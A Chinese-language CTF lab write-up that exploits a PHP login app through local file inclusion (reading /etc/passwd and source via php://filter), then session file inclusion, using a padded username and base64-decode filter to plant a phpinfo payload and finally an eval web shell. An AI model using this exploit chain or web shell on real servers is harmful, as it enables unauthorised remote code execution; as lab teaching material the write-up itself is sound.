目录
环境说明
session文件包含getshell
审计源码
session包含
base64在session中的解码分析
题目:
链接:https://pan.baidu.com/s/1Q0BN08b8gWiVE4tOnirpTA?pwd=cate
提取码:cate
环境说明
这里我用的是linux,也可以用phpstudy,但到时候包含session的时候可能会出现问题,最好用linux
基础环境
centos7
nginx1.20.2
php5.6
mysql5.7
基础环境自行搭建,这里不再多说,还需要进mysql创建数据库,创建表
create database web;
use web;
create table user(
username varchar(150),
password varchar(150)
);
环境搭建好后访问,随意创建一个用户,查看session是否正常,数据库是否有数据
session文件包含getshell
session文件包含的条件:
1.知道session在服务器上的存储位置
2.存在本地文件包含漏洞
进入index.php
点击login跳转,发现action参数为login.php,尝试文件包含
尝试包含/etc/passwd,成功包含,确认存在文件包含漏洞
尝试使用php://filter读取文件源码,可以读取到register.php,login.php,index.php
审计源码
查看index.php源码可以知道,index.php是在判断是否存在session文件,若存在,则显示登录成功,失败就显示login和register界面
register.php部分代码
if ($_POST['username'] && $_POST['password']) {
require_once('config.php');
$username = $_POST['username'];
$password = md5($_POST['password']);
$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$mysqli->set_charset("utf8");
//php 预编译
$sql = "select * from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_id, $res_username, $res_password);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows();
if($count) {
die('User name Already Exists');
} else {
$sql = "insert into user(username, password) values(?,?)";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
echo 'Register OK!<a href="index.php">Please Login</a>';
}
$stmt->close();
$mysqli->close();
}
可以看到代码中接收了username和password的值,然后进入数据库查询,如果存在相同的username值就die掉,如果不存在就insert插入user表中
可以看到所有的sql语句都使用了预编译查询,sql注入这条路就走不通了,只能想其他办法
login.php中部分代码
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = md5($_POST['password']);
$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$sql = "select password from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_password);
$stmt->execute();
$stmt->fetch();
if ($res_password == $password) {
$_SESSION['username'] = base64_encode($username);
header("location:index.php");
} else {
die("Invalid user name or password");
}
$stmt->close();
$mysqli->close();
}
可以看到也接收了username和password的值,然后查询数据库,对比password的md5值,如果相同,将username进行base64编码,然后存入session中的username字段,所以session中的内容应该是
username|s:x:"xxx"
session包含
然后可以猜测session文件的路径,一般默认会保存在如下几个目录
-
/var/lib/php/sess_PHPSESSID
-
/tmp/sess_PHPSESSID
-
/tmp/sessions/sess_PHPSESSID
这里由于我php的安装方式不同,目录不同于默认路径,然后就是session文件名,session文件名的格式是sess_PHPSESSID,而PHPSESSID可以通过cookie中获取
然后进行包含,显示如下则说明路径正确,包含成功
接下来就可以进行session文件包含了,但输入的username会进行base64编码,那如果可以进行base64解码,再包含这个文件,就可以getshell了,问题是如何进行base64解码?
php://filter就可以解决这个问题
php://filter/read=convert.base64-decode/resource=<session文件路径>
但按照我们之前的说法,此时如果我们直接将username传入<?php phpinfo();?>的话,会出现意料之外的结果
base64解码后为什么没有按照我们想的那样,显示出phpinfo();呢?
这就涉及到base64的解码规则了
base64在session中的解码分析
base64的解码规则是4位一解码,去除无效字符,即a-zA-Z,加号,斜杠和等号
而我们知道在session中的内容格式是这样的,最左边的x是字符串的字符数
username|s:x:"xxx"
所以有效字符为 username 8位 + s 1位 + x 1位 = 10位
base64会把这10位解码,但是base64会4位为一组,剩下2位会吃掉我们的<?php phpinfo();?>编码后的值来组成4位,然后再解码,这样我们的编码就乱了
原来是PD9waHAgcGhwaW5mbygpOz8+,被吃掉两位就变成了9waHAgcGhwaW5mbygpOz8+
所以我们要保证前面为4的整数倍,12就可以,所以我们可以让字符串的字符数变为3位数,这样就变成了12,要变成3位数就必须让字符数超过100但不能超过1000,所以我们传入username的值如下
catecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecate<?php phpinfo();?>
然后包含即可
然后传入一句话getshell
catecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecate<?php eval($_POST[pass]);?>